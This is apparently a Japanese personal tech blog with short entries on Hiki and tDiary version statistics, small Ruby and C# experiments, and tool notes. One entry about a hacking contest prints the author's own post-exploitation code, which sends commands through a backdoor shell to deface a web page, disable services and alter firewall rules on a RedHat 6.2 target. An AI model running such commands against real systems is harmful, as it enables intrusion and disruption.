Google APIを利用して,今現在のHikiのバージョン分布を調べてみました.
| バージョン | 割合 |
| 0.5系 | 17% |
| 0.6.4以前 | 20% |
| 0.6.5 | 40% |
| 0.7-devel-20040618以前 | 4% |
| 0.7-devel-20040627以降 | 17% |
アップデートしてない方は,早急に新しいバージョンに入れ替えましょう.

ptstoreでデータをcacheするパッチが入ってるので, mod_rubyとあわせて使うとここの貧弱サーバ環境でも,そこそこ実用レベルの速度で動いているみたいです.
あとは,Hikiに入れるコンテンツを作るだけか...(汗
"+OK"しか返さない超手抜きPOP3サーバプログラム.この辺を見て現実逃避気味に作ってみる(汗
!/usr/bin/env ruby
require "socket"
s = TCPServer.open(110)
while true
Thread.start(s.accept) do |c|
while true
c.puts("+OK okpop3s.rb server.\r\n")
print c.gets
end
end
end
参考:
ということで,この辺を見ていたら作りたくなったので,ちょっとだけ作ってみました(笑
SleipnirのスクリプトってWindows Scripting Host (WSH)を利用してるんですね.
ProgIDが"Sleipnir.API"ってことは,外部のアプリケーションからSleipnirを操作できるのかな?
#また現実逃避してしまった...(汗
打ち込まれているみたいなので,該当IPからの接続をしばらく拒否するように設定しました.(;´Д`)
見ていると,なんかいろんなところに打ち込んでますね.直接的な広告が目的だとは思うのですが,PageRankを上げることも狙っているのかな...?
個人的にはDelphiはさわったことがないので全然わからないのですが,やっぱり何か1つ得意なプログラミング言語を持ってると強いよなぁ...と,ふと思ってみたり.
というわけで,昨日の内容に似たものをC#で作ってみました.
//
// C#からSleipnirを操作するテスト
//
// ビルドするためには,mshtmlとSleipnirに付属のタイプライブラリを
// 参照する必要があります.
//
using System;
using System.Collections;
using System.Threading;
using mshtml;
public class SleipnirCSTest {
static void Main() {
//Sleipnirのインターフェースを取得
Sleipnir.API pnir = null;
try{
pnir = new Sleipnir.API();
}catch( Exception e ){
Console.WriteLine("このプログラムを実行する前にSleipnirをあらかじめ起動してください〜\n"+e.ToString() );
return;
}
//tDiaryのupdate.rbを開く
int id = pnir.NewWindow( "http://www.example.com/path_to_tdiary/update.rb", true );
while( true ){
if( pnir.IsBusy( id )==false ) break;
Thread.Sleep( 200 );
}
//textarea(本文)を取得
IHTMLElementCollection col;
IEnumerator enm;
HTMLDocument doc = pnir.GetDocumentObject( id ) as HTMLDocument;
col = doc.getElementsByName("body");
enm = col.GetEnumerator();
enm.MoveNext();
HTMLTextAreaElement textarea = enm.Current as HTMLTextAreaElement;
if( textarea==null ){
Console.WriteLine("update.rbのtextarea(本文)の取得に失敗しましたよ...");
return;
}
//適当に値を設定?
textarea.value = "てすとてすとてすと...";
}
}
Sleipnir<->エディタの相互通信を作れば,Wikiの編集とかに応用できそうだなぁ...(^^;
#COMってすごいなぁ〜と思ってしまう瞬間
BlogWrite は、ブログの記事投稿や管理が可能なソフトウェア(Blogクライアント、Blogエディタ)で、あらかじめブログのIDやパスワードを登録しておくことでブログの新規投稿や過去記事の編集、削除、複数カテゴリの設定、変更などが可能です。
だそうです.XML-RPC,Atom APIに対応していて,Movable Type, TypePad, Livedoor Blog, Seesaa Blog, Blogger, News-Handlerに対応しているそうです.
んー,tDiaryもXML-RPCに対応すると面白そうなんだけどなぁ...と微妙に思ってみるテスト.
#どちらかというと,HikiがXML-RPCに対応できると,いろいろ可能性が広がって面白いかも?(^^;
イーレッツのBe SilentシリーズにPentium M/Celeron Mを搭載した最新版.出荷開始は7月下旬だそうです.
なかなかいい感じですねー
#個人的にはMS6100が安くなってくれるとうれしいかも?(^^;;
"週"記経由で.虫除けスプレーは必須?(^^;
Hiki用のプログラムを作っていたら,tDiaryにも流用できそうだったので集計してみました.こちらもGoogle APIを利用してます.
| tDiary 2.0.0 | 51% |
| tDiary 1.5.7 | 27% |
| tDiary 1.5.6 | 9% |
| tDiary 1.5.5 | 5% |
| tDiary 1.5.4 | 3% |
| これ以前のバージョン | 5% |
一応,URLはパスで正規化して同じサイトが複数カウントされないようにしています.
見ていると,tDiaryの場合はtDiary.Netの影響が大きいみたいですね.(^^;
Estraier is a full-text search system for personal use. Full-text search means functions to search lots of documents for some documents including specified words. The principal purpose of Estraier is to realize a full-text search system of a web site. It functions similarly to Google, but for a personal web site or sites in an intranet.
今月のUNIX USERを見ていて面白そうだったので,インストールしてみるテスト.
出発します〜
おつかれさまでした〜>リンカーン(笑
試しにここに設置してみたので,導入したときの手順をまとめてみました.
estsearch.cgiはCで書かれているので,検索が爆速ですね〜.なかなか気に入りました.(^^;;
雷の音で目がさめてしまう罠...(;´Д`)
Sec sunbathでLinux環境無いと不便かな...?ということで,VMWare環境にWoodyをインストール中.
あー,VMWareの中に塩漬けになってしまっていたWindows2000もWindowUpdateしてあげないと...(汗
普段は鶴亀メールを愛用しているのですが,そういえばGnuPG使えたよなぁ...ということでまとめてみました.
とりあえず,自分自身で暗号化・復号化の動作確認はしたのですが,他の人とちゃんとメールをやり取りできるのかなぁ...とちょっと心配(汗
電車の中でノートPCを広げていたのですが,先日準備したOpenVPNをあれこれ設定しているだけで,目的の駅に到着してしまいました...
モバイルは事前の準備が大切だよなぁ...と思いました.(^^;
Googleのアレを見て,素数についてちょっと調べてみたのですが...
素数ってむちゃくちゃ奥が深いのね.(;´Д`)ぁぅぁぅ
#後で読むメモ->Rabin-Millerの素数判定のアルゴリズム
へぇ〜
懐かしい...(^^;
前にGaimをインストールした後にGimpをインストールすると, Gaimが想定しているGTKとは異なってしまい,Gaimで日本語が 表示できなくなったことがありました.
あとはCygwinにパスが通っていると,Gaimを起動する際, GTKのiconv.dllではなくCygwinのiconv.dllを先にロードしてしまい, Gaimが起動できなくなったこともありました.
アプリにGTKを含めるのなら,同じ場所にインストールしないでほしいなぁ... と思う今日この頃.
Eclipseに関するSWT,JFace,PDE,JDT,Draw2D,GEFについて解説されているサイト.
GEFを紹介している日本語のサイトは少ないような気がするのでメモ.
侵入に成功した後は攻守の立場が逆転するので,それを考えると穴の少なそうなマシンを攻略したほうが防御が楽になるのかな...?
当日はカッコいいindex.htmlを作って用意しておいたほうがいいのかなぁ?...などと,競技に全然関係ないことばかりを考えていたり...
チュートリアルを参考に少し使ってみたのですが,これを使えばRuby上でのRSSのパース&出力がお手軽にできそうな雰囲気.
RSS Parser+Amritaの組み合わせで,携帯向けRSSリーダ作れそうかも?(^^;
#RSS ParserでのCDATAの取り扱いがどうなっているか,後で調べておくこと>自分
あー、そろそろ準備しないと...(汗
/.-Jの記事より.1回ぐらいは試してみたいような気が...(^^;
ターゲットはRH6.2,RPCを利用しました.以下は攻略に使用した自作(?)コードの一部です.
sendcmd( int s )
{
//sはbackdoorのシェルに対するソケット
sendstr( s, "touch /hoge.txt");
sendstr( s, "echo '<html><body>cracked by yoggy...</body></html>' > /home/httpd/html/index.html" );
sendstr( s, "/sbin/chkconfig --level 12345 ipchains on" );
sendstr( s, "/sbin/chkconfig --level 12345 canna off" );
sendstr( s, "/sbin/chkconfig --level 12345 xfs off" );
sendstr( s, "/sbin/chkconfig --level 12345 inet off" );
sendstr( s, "/sbin/chkconfig --level 12345 netfs off" );
sendstr( s, "/sbin/chkconfig --level 12345 linuxconf off" );
sendstr( s, "/sbin/chkconfig --level 12345 lpd off" );
sendstr( s, "/sbin/chkconfig --level 12345 nfslock off" );
sendstr( s, "/sbin/chkconfig --level 12345 identd off" );
sendstr( s, "/sbin/chkconfig --level 12345 portmap off" );
sendstr( s, "/sbin/chkconfig --level 12345 sendmail off" );
sendstr( s, "echo '/sbin/ipchains -A input -i eth0 -d 0/0 80 -p tcp -y -j ACCEPT' >> /etc/rc.d/rc.local" );
sendstr( s, "echo '/sbin/ipchains -A input -i eth0 -y -p tcp -j DENY' >> /etc/rc.d/rc.local" );
sendstr( s, "/sbin/reboot" );
}
「Apache自体はそのままかよ」とか「SAdoorとかは回避できないじゃないか」とかツッコミは あるかもしれませんが,仕込み時間不足だったということで...(汗
午前中に再放送しているルパン三世をみて,夏休みだよなぁ...と思ったり.
んー,最近欠席率高し...(;´Д`)
仮想VGAドライバ+VGAサーバの組み合わせという感じ?なんだか面白そうかも.(^^;
以下,仮想化に関するメモ.
| VGAアダプタの仮想化 | MaxiVista |
| KVMの仮想化 | KVM-via-IP |
| ストレージの仮想化 | iSCSIとか |
| NICの仮想化 | SoftEther,OpenVPNとか |
| PCそのものの仮想化 | VMWare,VirtualPC |
...次は,USBの仮想化か?(^^;
そういえば,昔,扇町ミュージアムスクエア(OMS)によくリリパットアーミーの芝居を見に行っていたなぁ...と懐かしむ.
演劇を見るようになったきっかけは,実はリリパットアーミーの「ベイビーさん」だったり.
ご冥福をお祈りいたします.
昨日のMaxiVistaの話が/.-Jに載っていたので読んでみたら,その中で紹介されていたソフト.
ちょっとMaxiVistaとは勝手が違うけど,これも面白そうかも?(^^;
昨日ぐらいから大きいファイルをダウンロードしようとすると,エラーが表示されることが頻発しているような気が...
台風来てるじゃないですか...(;´Д`)
まず成田までが遠かったり...
先ほどまでApacheが落ちてました..._| ̄|○

先ほど見たセッションで紹介されていたツール.
設定したパターンのパケット(TCP,UDP,ICMP)を送出すると,ポートをオープンしてくれる仕掛け.サーバ・クライアントのセット.
便利そうな気がするので,帰って試してみるためのメモ.
会場のネットワーク調子悪いなぁ...と思っていたら,ARP Spoofingしている奴がいるじゃないですか...(;´Д`)
◆ みゃー [さりげなくねっとえーぢぇんとだ(w]